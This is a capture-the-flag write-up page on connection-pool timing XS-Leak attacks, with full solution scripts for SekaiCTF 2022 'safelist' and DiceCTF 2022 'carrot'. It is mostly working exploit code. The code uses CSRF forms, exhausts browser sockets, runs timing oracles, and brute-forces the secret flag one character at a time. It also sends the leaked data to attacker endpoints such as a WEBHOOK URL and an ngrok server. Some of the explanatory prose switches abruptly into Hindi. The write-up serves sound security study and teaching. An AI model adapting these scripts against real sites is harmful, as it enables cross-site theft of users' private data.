Connection Pool Examples

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Sekaictf2022 - safelist

In the Sekaictf2022 - safelist challenge, @Strellic_ gives an example of how to use a variation of the Connection Pool technique to perform a XS-Leak.

In this challenge, the goal is to exfiltrate a flag that will appear in the bots web session inside a post. These are the assets the attacker has:

• The bot will visit a URL given by the attacker

• The attacker can inject HTML in the page (but no JS, dompurify is used) abusing a CSRF making the bot create a post with that HTML.

• The attacker can abuse a CSRF to make the bot delete the first post inside the web.

• Because the posts are ordered alphabetically, when the first post is deleted, if the HTML content of the attacker is loaded means that it was alphabetically before the flag.

Therefore, to steal the flag, the solution proposed by @Strellyc_ is to, for each char to test make the bot:

• Create a new post that starts with the known part of the flag and several img loads.

• Delete the post in position 0.

• Block 255 sockets.

• Load the page with the posts

• Perform 5 random requests to a site (example.com in this case) and measure the time this takes.

If the deleted post was the flag, this means that all the images injected in the HTML are going to be fighting with the 5 random requests for that unblocked socket. Which means that the time measured is going to be bigger than the other scenario.

If the deleted post was the HTML, the 5 random requests will be faster because they don't need to fight for that socket with the HTML injected.

Exploit 1

This is the exploit code, taken from https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html:

<!-- Form to inject HTML code in the bots page -->
<form method="POST" action="https://safelist.ctf.sekai.team/create" id="create" target="_blank">
<input type="text" name="text" />
<input type="submit" />
</form>

<!-- Form to delete the first entry -->
<form method="POST" action="https://safelist.ctf.sekai.team/remove" id="remove" target="_blank">
<input type="text" name="index" value="0" />
<input type="submit" />
</form>

<script>
// Attacker listening
const WEBHOOK = "https://WEBHOOK.com/";
// Send data to attacker
const log = (id, data) => {
let payload = JSON.stringify({ known, alphabet, data });
console.log(id, payload);
navigator.sendBeacon(WEBHOOK + "?" + id, payload);
}

// Similar to JQuery
const $ = document.querySelector.bind(document);

// Known part of the flag
const known = "SEKAI{";
let alphabet = "_abcdefghijklmnopqrstuvwxyz}";

// Reduce the alphabet using a hash (#) in the URL
if (location.hash) {
alphabet = alphabet.slice(alphabet.indexOf(location.hash.slice(1)));
}

// Funtion to leak chars
const leak = async (c) => {
// Prepare post with known flag and the new char
let payload = `${known + c}`;
// Inject as many <img as possible
// you need to respect the CSP and create URLs that are different
for(let i = 0; payload.length < 2048; i++) {
payload += `<img src=js/purify.js?${i.toString(36)}>`;
}

// Inject HTML
$("#create input[type=text]").value = payload;
$("#create").submit();
await new Promise(r => setTimeout(r, 1000));

// Remove post with index 0
$("#remove").submit();
await new Promise(r => setTimeout(r, 500));

let deltas = [];

// Try each char 3 times
for (let i = 0; i < 3; i++) {
const SOCKET_LIMIT = 255;
// you will need a custom server that works like num.sleepserver.com/sleep/delay
// needed to freeze the blocked sockets, and they have to all be on different origins
// Check https://www.npmjs.com/package/sleep-server using subdomains DNS wildcard
const SLEEP_SERVER = i => `http://${i}.sleepserver.com/sleep/60`;

const block = async (i, controller) => {
try {
return fetch(SLEEP_SERVER(i), { mode: "no-cors", signal: controller.signal });
}
catch(err) {}
};

// block SOCKET_LIMIT sockets
const controller = new AbortController();
for (let i = 0; i < SOCKET_LIMIT; i++) {
block(i, controller);
}

// Make the bot access the page with the posts
window.open("https://safelist.ctf.sekai.team/?" + Math.random().toString(36).slice(2), "pwn");
await new Promise(r => setTimeout(r, 500));

// start meassuring time to perform 5 requests
let start = performance.now();
await Promise.all([
fetch("https://example.com", { mode: "no-cors" }),
fetch("https://example.com", { mode: "no-cors" }),
fetch("https://example.com", { mode: "no-cors" }),
fetch("https://example.com", { mode: "no-cors" }),
fetch("https://example.com", { mode: "no-cors" })
]);
let delta = performance.now() - start;
document.title = delta;
controller.abort();

log("test_" + c + "_" + i, delta);

// Save time needed
deltas.push(delta);
}
return deltas;
};

// Check each char
const pwn = async () => {
// Try to leak each character
for(let i = 0; i < alphabet.length; i++) {
//Check the indicated char
let deltas = await leak(alphabet[i]);

// Calculate mean time from requests to example.com
let avg = deltas.reduce((a,v) => a+v, 0) / deltas.length;

// If greater than 250, the HTML code was injected (flag in index 0)
if (avg > 250) {
log("tests_pos_" + alphabet[i], deltas)
}
// Flag in the page
else {
log("tests_neg_" + alphabet[i], deltas)
}
}
};

window.onload = async () => {
pwn();
};
</script>

Exploit 2

वही रणनीति लेकिन https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/ से अलग कोड

<!DOCTYPE html>
<html>
<!--
The basic idea is to create a post with a lot of images which send request to "/" to block server-side nodejs main thread.
If images are loading, the request to "/" is slower, otherwise faster.
By using a well-crafted height, we can let note with "A" load image but note with "Z" not load.
We can use fetch to measure the request time.
-->
<body>
<button onclick="run()">start</button>
<form id=f action="http://localhost:1234/create" method="POST" target="_blank">
<input id=inp name="text" value="">
</form>

<form id=f2 action="http://localhost:1234/remove" method="POST" target="_blank">
<input id=inp2 name="index" value="">
</form>
<script>
let flag = 'SEKAI{'
const TARGET = 'https://safelist.ctf.sekai.team'
f.action = TARGET + '/create'
f2.action = TARGET + '/remove'

const sleep = ms => new Promise(r => setTimeout(r, ms))
const send = data => fetch('http://server.ngrok.io?d='+data)
const charset = 'abcdefghijklmnopqrstuvwxyz'.split('')

// start exploit
let count = 0
setTimeout(async () => {
let L = 0
let R = charset.length - 1
while( (R-L)>3 ) {
let M = Math.floor((L + R) / 2)
let c = charset[M]
send('try_' + flag + c)
const found = await testChar(flag + c)
if (found) {
L = M
} else {
R = M - 1
}
}

// fallback to linear since I am not familiar with binary search lol
for(let i=R; i>=L; i--) {
let c = charset[i]
send('try_' + flag + c)
const found = await testChar(flag + c)
if (found) {
send('found: '+ flag+c)
flag += c
break
}
}

}, 0)

async function testChar(str) {
return new Promise(resolve => {
/*
For 3350, you need to test it on your local to get this number.
The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold
If starts with "A", the image should be loaded because it's in the threshold.
*/
inp.value = str + '<br><canvas height="3350px"></canvas><br>'+Array.from({length:20}).map((_,i)=>`<img loading=lazy src=/?${i}>`).join('')
f.submit()

setTimeout(() => {
run(str, resolve)
}, 500)
})
}

async function run(str, resolve) {
// if the request is not enough, we can send more by opening more window
for(let i=1; i<=5;i++) {
window.open(TARGET)
}

let t = 0
const round = 30
setTimeout(async () => {
for(let i=0; i<round; i++) {
let s = performance.now()
await fetch(TARGET + '/?test', {
mode: 'no-cors'
}).catch(err=>1)
let end = performance.now()
t += end - s
console.log(end - s)
}
const avg = t/round
send(str + "," + t + "," + "avg:" + avg)

/*
I get this threshold(1000ms) by trying multiple times on remote admin bot
for example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold
*/
const isFound = (t >= 1000)
if (isFound) {
inp2.value = "0"
} else {
inp2.value = "1"
}

// remember to delete the post to not break our leak oracle
f2.submit()
setTimeout(() => {
resolve(isFound)
}, 200)
}, 200)
}

</script>

</body>

</html>

DiceCTF 2022 - carrot

इस मामले में, एक्सप्लॉइट का पहला कदम एक CSRF का दुरुपयोग करना था ताकि उस पृष्ठ को संशोधित किया जा सके जहाँ ध्वज मौजूद है, ताकि इसमें बहुत अधिक सामग्री हो (और इसलिए इसे लोड करने में अधिक समय लगे), और फिर कनेक्शन पूल का दुरुपयोग करना ताकि यह मापा जा सके कि पृष्ठ तक पहुँचने में कितना समय लगता है जो संभावित रूप से ध्वज रख सकता है।

एक्सप्लॉइट में आप देख सकते हैं:

• CSRF का दुरुपयोग

• सभी सॉकेट्स को 1 को छोड़कर भरना

• प्रतिक्रिया को कैलिब्रेट करना

• संभावित पृष्ठ तक पहुँचकर ब्रूटफोर्सिंग शुरू करना जिसमें ध्वज हो सकता है

• संभावित पृष्ठ तक पहुँच जाएगा और तुरंत एक हमलावर द्वारा नियंत्रित URL भी पहुँचा जाएगा यह जांचने के लिए कि दोनों अनुरोधों में कितना समय लगता है।

<h1>DiceCTF 2022 web/carrot</h1>

<p>Step 1: CSRF the admin user, to set a super long title for the flag note (LAX + POST form only possible for 2 minutes after cookies is created)</p>
<button onclick="csrf()">do csrf</button>
<p>Step 2: XS-Search with <a href="https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/">connection-pool timing leak</a>, we have to use window.open (LAX cookie)</p>

<button onclick="popunder()">open popup</button>
<button onclick="exhaust_sockets()">open 255 connections</button>
<button onclick="oracle('dice{abc')">test search "abc" (slow)</button>
<button onclick="oracle('dice{xxx')">test search "xxx" (fast)</button>
<br>
<br>
<h2 id=output></h2>
<br>
<form id=x action="" method="POST" style="display:none;">
<input type="text" name="title" placeholder="title">
<br><br>
<input type="number" name="priority" placeholder="priority" value=9999>
<br><br>
<textarea name="content" placeholder="content" rows="5" cols="20"></textarea>
<br><br>
<input type="submit" value="submit">
</form>

<script>

// this is send is used as logging
LOG = 'Starting'
// 255 in normal chrome, 99 in headless
SOCKETLIMIT = 255;
// default
TIMELIMIT = 800;
INSTANCE = ''
MYSERVER = `example.com`

const sleep = (ms) => {
return new Promise(resolve => {
setTimeout(resolve, ms);
});
}

const time_fetch = async() => {
let test_server_url = `https://${MYSERVER}/?${LOG}`;
let start = window.performance.now();
try {
await fetch(test_server_url, {
mode: 'no-cors'
});
} catch (e) {
console.log(e);
}
let end = window.performance.now();
return end - start;
}

const fetch_sleep_long = (i) => {
// 40s sleep
return fetch(`https://${i}.${MYSERVER}/40sleep`, {
mode: 'no-cors'
});
}

const fetch_sleep_short = (i) => {
// 0.25s sleep
return fetch(`https://${i}.${MYSERVER}/ssleep`, {
mode: 'no-cors'
});
}

const block_socket = async (i) => {
fetch_sleep_long(i);
// needed?
await sleep(0);
}

const exhaust_sockets = async() => {
let i = 0
for (; i < SOCKETLIMIT; i++) {
block_socket(i);
}
console.log(`Used ${i} connections`);
}

const timeit = async (url, popup) => {
return new Promise(async (r) => {

popup.location = url;
// needed?
await sleep(50)

let val = await time_fetch()
r(val)
});
}

// const alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ-}!"#$%&\'()*+,-./:;<=>?@[\\]^`|~{'.split('');
const alphabet = 'abcdefghijklmnopqrstuvwxyz}_'.split('');
// const alphabet = 'abcdef}'.split('');

const oracle = async (search) => {
let url = `https://carrot-${INSTANCE}.mc.ax/tasks?search=${search}`
let t = await timeit(url, WINBG)

LOG = `${search}:${t}`
console.log(`${search}:${t}`)

return t > TIMELIMIT
}

const brute = async (flag) => {
for (const char of alphabet) {
if (await oracle(flag + char)) {
return char;
}
}
return false;
}

const calibrate = async () => {
return new Promise(async (r) => {
// slow
let url1 = `https://carrot-${INSTANCE}.mc.ax/tasks?search=dice{`
let t1 = await timeit(url1, WINBG)
console.log(`slow:${t1}`)
// fast
let url2 = `https://carrot-${INSTANCE}.mc.ax/tasks?search=XXXXXXXXXX`
let t2 = await timeit(url2, WINBG)
console.log(`fast:${t2}`)
return r((t1 + t2) / 2)
});

}

const exploit = async(flag = '') => {
console.log('Starting')
// dont go to fast plz :)
console.log(`waiting 3s`)
await sleep(3000)
// exaust sockets
await exhaust_sockets()
await sleep(2000)
LOG = `Calibrating`
TIMELIMIT = await calibrate()
LOG = `TIMELIMIT:${TIMELIMIT}`
console.log(`timelimit:${TIMELIMIT}`)
await sleep(2000)
let last;
while (true) {
last = await brute(flag);
if (last === false) {
return flag;
}
else {
flag += last;
output.innerText = flag;
if(last === '}'){
return flag
}
}
}
}

const popunder = () => {
if (window.opener) {
WINBG = window.opener
}
else {
WINBG = window.open(location.href, target="_blank")
location = `about:blank`
}
}

const csrf = async () => {
x.action = `https://carrot-${INSTANCE}.mc.ax/edit/0`
x.title.value = "A".repeat(1000000)
x.submit()
}

window.onload = () => {
let p = new URL(location).searchParams;
if(!p.has('i')){
console.log(`no INSTANCE`)
return
}
INSTANCE = p.get('i')
// step 1
if(p.has('csrf')){
csrf()
return
}
// step 2
if (p.has('exploit')) {
// window open is ok in headless :)
popunder()

exploit('dice{')
}
}
</script>

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